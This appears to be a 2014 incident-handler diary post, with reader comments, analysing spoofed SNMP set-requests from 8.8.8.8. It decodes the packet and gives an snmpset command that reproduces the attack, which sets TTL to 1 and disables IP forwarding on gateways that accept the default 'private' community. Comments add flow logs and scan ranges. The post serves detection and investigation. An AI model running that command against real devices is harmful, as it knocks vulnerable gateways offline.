Spoofed SNMP Messages: Mercy Killings of Vulnerable Networks or Troll?
2nd Update
All the packet captures we received so far show the same behavior. The scans are sequential, so it is fair to assume that this is an internet wide scan. We have yet to find a vulnerable system, and I don't think that vulnerable configurations are very common but please let me know if you know of widely used systems that allow for these SNMP commands. This could also just be a troll checking "what is happening if I send this".
1st Update
Thanks to James for sending us some packets. Unlike suggested earlier, this doesn't look like a DoS against Google, but more like a DoS against vulnerable gateways. The SNMP command is actually a "set" command using the default read-write community string "private". If successful, it should:
- set the default TTL to 1, which would make it impossible for the gateway to connect to other systems that are not on the same link-layer network.
- turn off IP forwarding.
Still playing with this, and so far, I haven't managed to "turn off" any of my test systems. If you want to play, here are some of the details:
The SNMP payload of the packets reported by James:
Simple Network Management Protocol
version: version-1 (0)
community: private
data: set-request (3)
set-request
request-id: 1821915375
error-status: noError (0)
error-index: 0
variable-bindings: 2 items
1.3.6.1.2.1.4.2.0:
Object Name: 1.3.6.1.2.1.4.2.0 (iso.3.6.1.2.1.4.2.0)
Value (Integer32): 1
1.3.6.1.2.1.4.1.0:
Object Name: 1.3.6.1.2.1.4.1.0 (iso.3.6.1.2.1.4.1.0)
Value (Integer32): 2
The snmp set command I am using to re-create the traffic:
snmpset -v 1 -c private [target ip] .1.3.6.1.2.1.4.2.0 int 1 .1.3.6.1.2.1.4.1.0 int 2
any insight is welcome. Still working on this and there may be more to it then I see now (or less...)
--- end of update ---
We are receiving some reports about SNMP scans that claim to originate from 8.8.8.8 (Google's public recursive DNS server). This is likely part of an attempt to launch a DDoS against Google by using SNMP as an amplifier/reflector.
Please let us know if you see any of the packet. The source IP should be 8.8.8.8 and the target port should be 161 UDP. For example in tcpdump:
tcpdump -s0 -w /tmp/googlensmp dst port 161 and src host 8.8.8.8
Thanks to James for sending us a snort alert triggered by this:
Sep 15 11:07:07 node snort[25421]: [1:2018568:1] ET CURRENT_EVENTS Possible Inbound SNMP Router DoS (TTL 1) [Classification: Attempted Denial of Service] [Priority: 2] {UDP} 8.8.8.8:47074 -> x.x.251.62:161
So far, it does not look like service to Google's DNS server is degraded.
Application Security: Securing Web Apps, APIs, and Microservices | Washington | Dec 13th - Dec 18th 2024 |
Comments
Update: These scans against my network stopped at 2014-09-16 09:06 UTC. The scan made it to .113 and then just quit.
JimC
Anonymous
Sep 15th 2014
1 decade ago
Anonymous
Sep 15th 2014
1 decade ago
Anonymous
Sep 15th 2014
1 decade ago
Anonymous
Sep 15th 2014
1 decade ago
We see this traffic too.
Best, Daniel
Anonymous
Sep 16th 2014
1 decade ago
Attacks appear to have started @ 2014-09-14T21:28:07+00:00
Anonymous
Sep 16th 2014
1 decade ago
Date first seen Duration Proto IP Addr Flows(%) Packets(%) Bytes(%) pps bps bpp
2014-09-15 08:07:36.387 13324.545 any 8.8.8.8 3986(100.0) 3986(100.0) 346782(100.0) 0 208 87
Duration Proto Src IP Addr:Port Dst Port Packets Bytes Flows
08:16:46.046 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:16:46.027 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:16:50.443 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:16:54.926 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:16:59.337 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:16:59.386 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:17:03.818 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:17:08.233 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:17:12.718 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:17:17.158 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:17:12.520 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:17:17.135 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:17:21.614 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:17:35.628 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:17:40.039 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:17:43.954 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:17:40.090 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:17:50.396 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:17:48.924 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
08:17:53.296 0.000 UDP 8.8.8.8:47074 -> 161 1 87 1
Anonymous
Sep 16th 2014
1 decade ago
Dst IP Addr:Port
xx.yy.0.32:161
xx.yy.0.32:161
xx.yy.1.32:161
xx.yy.2.32:161
xx.yy.3.32:161
xx.yy.3.32:161
xx.yy.4.32:161
xx.yy.5.32:161
xx.yy.6.32:161
xx.yy.7.32:161
xx.yy.6.32:161
xx.yy.7.32:161
xx.yy.8.32:161
xx.yy.9.32:161
xx.yy.10.32:161
xx.yy.11.32:161
xx.yy.12.32:161
xx.yy.13.32:161
xx.yy.12.32:161
xx.yy.14.32:161
xx.yy.15.32:161
Anonymous
Sep 16th 2014
1 decade ago
Anonymous
Sep 16th 2014
1 decade ago
Dst IP Addr:Port
xx.yy.0.32:161
xx.yy.0.32:161
xx.yy.1.32:161
xx.yy.2.32:161
xx.yy.3.32:161
xx.yy.3.32:161
xx.yy.4.32:161
xx.yy.5.32:161
xx.yy.6.32:161
xx.yy.7.32:161
xx.yy.6.32:161
xx.yy.7.32:161
xx.yy.8.32:161
xx.yy.9.32:161
xx.yy.10.32:161
xx.yy.11.32:161
xx.yy.12.32:161
xx.yy.13.32:161
xx.yy.12.32:161
xx.yy.14.32:161
xx.yy.15.32:161[/quote]
exactly the same at ours.
At the moment we don't see such traffic on our boxes.
Anonymous
Sep 16th 2014
1 decade ago